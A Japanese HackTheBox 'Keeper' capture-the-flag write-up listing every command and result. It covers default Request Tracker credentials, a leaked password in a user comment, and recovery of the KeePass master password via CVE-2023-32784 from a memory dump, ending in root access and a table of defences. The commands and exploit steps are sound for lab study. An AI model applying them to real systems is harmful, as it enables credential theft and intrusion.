HackTheBox: Keeper — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(nginx)
→
22(SSH)/80(nginx)
Request Tracker
デフォルト認証 root:password
→
デフォルト認証 root:password
Admin>Usersコメント欄
lnorgaard:Welcome2023!
→
lnorgaard:Welcome2023!
SSH lnorgaard
user.txt ✓
→
user.txt ✓
RT30000.zip内のKeePassダンプ
253MBメモリダンプ+kdbx
→
253MBメモリダンプ+kdbx
CVE-2023-32784
マスターパスワード復元
→
マスターパスワード復元
KeePass DB開封→PuTTY鍵発見
puttygenでOpenSSH変換
→
puttygenでOpenSSH変換
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & vhostの発見
BASH
nmap -sV -sC -p 22,80 10.129.92.126 curl -s -L http://10.129.92.126/
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 80/tcp open http nginx 1.18.0 <a href="http://tickets.keeper.htb/rt/">To raise an IT support ticket, please visit tickets.keeper.htb/rt/</a>
ℹ️
/etc/hostsにtickets.keeper.htbとkeeper.htbを追加。
社内ヘルプデスクシステムRequest Tracker (RT)が稼働している。
PHASE 2
Request Trackerのデフォルト認証情報とユーザーコメントからの資格情報漏洩
RTのデフォルト管理者資格情報でログイン
BASH
curl -s -c cookies.txt -b cookies.txt -X POST \ --data-urlencode "user=root" --data-urlencode "pass=password" \ "http://tickets.keeper.htb/rt/" -L
RESULT
<a ...>Logged in as <span class="current-user">root</span></a>
🚨
Request Trackerの工場出荷時デフォルト管理者資格情報
root:passwordが変更されずそのまま使われている。
公式ドキュメントに明記されている既知の初期値であり、インストール後は
必ず変更すべきもの。
Admin > Users からlnorgaardのコメントを確認
BASH
curl -s -b cookies.txt "http://tickets.keeper.htb/rt/Admin/Users/" \ | grep -oE 'Modify\.html\?id=[0-9]+[^"]*"[^<]*' curl -s -b cookies.txt "http://tickets.keeper.htb/rt/Admin/Users/Modify.html?id=27"
RESULT
Comments about this user:
New user. Initial password set to Welcome2023!
🚨
管理画面のユーザーメモ欄に初期パスワードが平文で残されている。
新入社員のオンボーディング手順をチケットシステムの備考欄にそのまま書いてしまう、
という運用上の典型的なミス。
PHASE 3
SSHログイン & user.txt取得
lnorgaardとしてSSHログイン
BASH
sshpass -p 'Welcome2023!' ssh lnorgaard@10.129.92.126 \ "id; cat /home/lnorgaard/user.txt"
RESULT
uid=1000(lnorgaard) gid=1000(lnorgaard) groups=1000(lnorgaard) 47b41d512f82d51a1e20034202ee6df6
user.txt — lnorgaard
47b41d512f82d51a1e20034202ee6df6
PHASE 4
RT30000.zip内のKeePassメモリダンプとDBファイルを取得
ホームディレクトリのzipファイルを確認
BASH
lnorgaard@keeper:~$ ls -la lnorgaard@keeper:~$ unzip -l RT30000.zip
RESULT
-rw-r--r-- 1 root root 87391651 ... RT30000.zip Archive: RT30000.zip Length Name --------- ---- 253395188 KeePassDumpFull.dmp 3630 passcodes.kdbx
ℹ️
社内チケット(おそらくKeePassのクラッシュレポート添付)に、
KeePassプロセスのフルメモリダンプ(253MB)と暗号化された
パスワードDB(.kdbx)が残っている。メモリダンプには一見
暗号化されていない生のプロセスメモリ内容が全て含まれる。
kdbxだけをストリーム取得(zip全体は不要)
BASH
ssh lnorgaard@10.129.92.126 \ "unzip -p RT30000.zip passcodes.kdbx" > passcodes.kdbx
RESULT
passcodes.kdbx: Keepass password database 2.x KDBX
ℹ️
unzip -pでzip内の1ファイルだけをSSH標準出力経由でストリーム
取得できる。87MBのzip全体や253MBのdmpを都度ダウンロードし直す必要がなく、
必要なファイルだけを個別に抜き出せる。
253MBのメモリダンプもストリーム取得
BASH
ssh lnorgaard@10.129.92.126 \ "unzip -p RT30000.zip KeePassDumpFull.dmp" > KeePassDumpFull.dmp
⚠️
実機でのハマりポイント: VPN経由の回線速度によっては
253MBの転送に数分かかり、デフォルトのSSHタイムアウト設定では
転送途中で切断されることがある(
invalid compressed data to
inflateのようなエラーで検出できる)。-o
ServerAliveInterval=15を付けてキープアライブを送りつつ、
十分長いタイムアウトで気長に待つ必要がある。
PHASE 5
CVE-2023-32784: KeePassマスターパスワードのメモリ残留脆弱性
脆弱性の概要
NOTE
KeePass 2.x(2.54以前)のマスターパスワード入力欄は、独自実装の SecureTextBoxEx(.NETの標準TextBoxではなく自前でマスキング表示を行う コンポーネント)を使っている。この実装には、入力された各文字について 「●(伏字)が何個目まで打たれたか」を描画し直す際に生じる内部的な 文字列処理の副作用で、各キーストロークの実際の文字がプロセスメモリ上に UTF-16LEの生テキストとして残り続けてしまうバグがある。唯一、 最初の1文字だけはこの手法で復元できない(既知の制限)。
公開ツール keepass-password-dumper を取得
BASH
git clone --depth=1 \ https://github.com/vdohney/keepass-password-dumper.git kp_dumper
⚠️
実機でのハマりポイント: このツールは既定で
net7.0を
ターゲットにしているが、インストール済みの.NET SDKが6.0系の場合は
ビルドエラーになる。keepass_password_dumper.csproj内の
<TargetFramework>net7.0</TargetFramework>を
net6.0に書き換えればビルドが通る。
メモリダンプを解析しマスターパスワード候補を復元
BASH
dotnet run --project kp_dumper KeePassDumpFull.dmp
RESULT
Password candidates (character positions):
Unknown characters are displayed as "●"
1.: ●
2.: ø, Ï, ,, l, `, -, ', ], §, A, I, :, =, _, c, M
3.: d
4.: g
5.: r
6.: ø
7.: d
8.: (space)
9.: m
10.: e
11.: d
12.: (space)
13.: f
14.: l
15.: ø
16.: d
17.: e
Combined: ●{ø,...}dgrød med fløde
✅
2文字目以降が完全に復元された。1文字目だけは候補集合
(
●で表示)としてしか得られないが、復元された文字列
「_dgrød med fløde」から、デンマーク語の有名なデザート名
「rødgrød med fløde」(赤いベリーの果実煮、クリーム添え)であると
容易に推測できる。候補リストの2文字目にも「ø」が含まれており、
「rødgrød」の綴りと矛盾しない。マスターパスワードは
rødgrød med fløde。
PHASE 6
KeePass DBを開封しPuTTY鍵を変換 & root.txt取得
pykeepassでDBを開封しエントリを一覧
PYTHON
from pykeepass import PyKeePass
kp = PyKeePass('passcodes.kdbx', password='rødgrød med fløde')
for entry in kp.entries:
print(entry.title, entry.group.name, entry.username)
RESULT
keeper.htb (Ticketing Server) | Network | username=root
notes: PuTTY-User-Key-File-3: ssh-rsa ...
Ticketing System | Network | username=lnorgaard
✅
マスターパスワードが正しかったことを確認。
「Network」グループ内に
rootユーザー用のPuTTY秘密鍵
(notesフィールドにPuTTY形式の鍵ファイルが丸ごと保存されている)が
見つかった。
PuTTY形式の鍵をファイルに保存
PYTHON
for entry in kp.entries:
if entry.title == "keeper.htb (Ticketing Server)":
open('root.ppk', 'w').write(entry.notes)
puttygenでOpenSSH形式に変換しSSHログイン
BASH
puttygen root.ppk -O private-openssh -o root_id_rsa chmod 600 root_id_rsa ssh -i root_id_rsa root@10.129.92.126 "id; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root) 0e4aed4e354bec2aed345dd9c795e206
✅
PuTTY独自形式(.ppk)の秘密鍵は標準のOpenSSHクライアントでは直接使えないため、
putty-toolsパッケージのputtygenでOpenSSH形式に
変換する必要がある。変換後はそのままssh -iで使用できる。
root.txt — root (KeePass PuTTY鍵経由)
0e4aed4e354bec2aed345dd9c795e206
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — lnorgaard
47b41d512f82d51a1e20034202ee6df6
root.txt — root
0e4aed4e354bec2aed345dd9c795e206
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| Request Trackerのデフォルト管理者認証情報 | tickets.keeper.htb/rt/ (root:password) | 管理画面への不正アクセス | High | インストール後に変更されていない既知のデフォルト資格情報でログイン |
| チケットシステムのメモ欄への平文パスワード記載 | Admin/Users/Modify.html のコメント欄 | OSアカウント資格情報の漏洩 | Medium | 新入社員の初期パスワードが運用メモとしてそのまま記録されている |
| CVE-2023-32784 (KeePass マスターパスワードのメモリ残留) | KeePass 2.x < 2.54 のマスターパスワード入力欄 | マスターパスワードの復元(2文字目以降) | Critical | プロセスメモリダンプを公開ツールで解析し、各キーストロークの文字列残留から復元 |
| 機密ファイル(メモリダンプ・DB)がチケット添付として残存 | RT30000.zip (サポートチケットの添付ファイル) | 機密情報のさらなる漏洩経路 | Medium | トラブルシューティングのために添付されたクラッシュダンプ自体が機密情報の宝庫になっていた |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + vhost追加 | 22(SSH)/80(nginx Request Tracker) |
| 2 | 資格情報窃取 | RTデフォルト認証 + ユーザーコメント | lnorgaard:Welcome2023! |
| 3 | フットホールド | SSH | user.txt(lnorgaard) |
| 4 | データ取得 | unzip -pストリーム取得 | KeePassメモリダンプ(253MB) + kdbx |
| 5 | マスターパスワード復元 | CVE-2023-32784(keepass-password-dumper) | rødgrød med fløde |
| 6 | 権限昇格 | KeePass開封 + PuTTY鍵変換 | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| サービスのデフォルト管理者資格情報が変更されていない | 導入直後に必ずデフォルト資格情報を変更する運用をチェックリスト化し、定期的に監査する。 |
| チケットシステムの備考欄に平文パスワードが記録される運用 | 資格情報の受け渡しは専用のシークレット共有ツールを使い、チケット・メモ等の恒久的に残る場所に平文で書かない。 |
| 既知脆弱性(CVE-2023-32784)を含む古いバージョンのKeePassを使用 | KeePassは2.54以降の修正版に更新する。マスターパスワード入力時の文字列メモリ管理に脆弱性がある旧バージョンでは機密情報を扱わない。 |
| アプリケーションのクラッシュダンプ・メモリダンプが機密情報を含んだままチケットシステムに添付・保管されている | 診断用ダンプファイルの取り扱いルールを定め、機密情報を含む可能性のあるダンプは解析後速やかに削除する。添付ファイルへのアクセス権も最小化する。 |

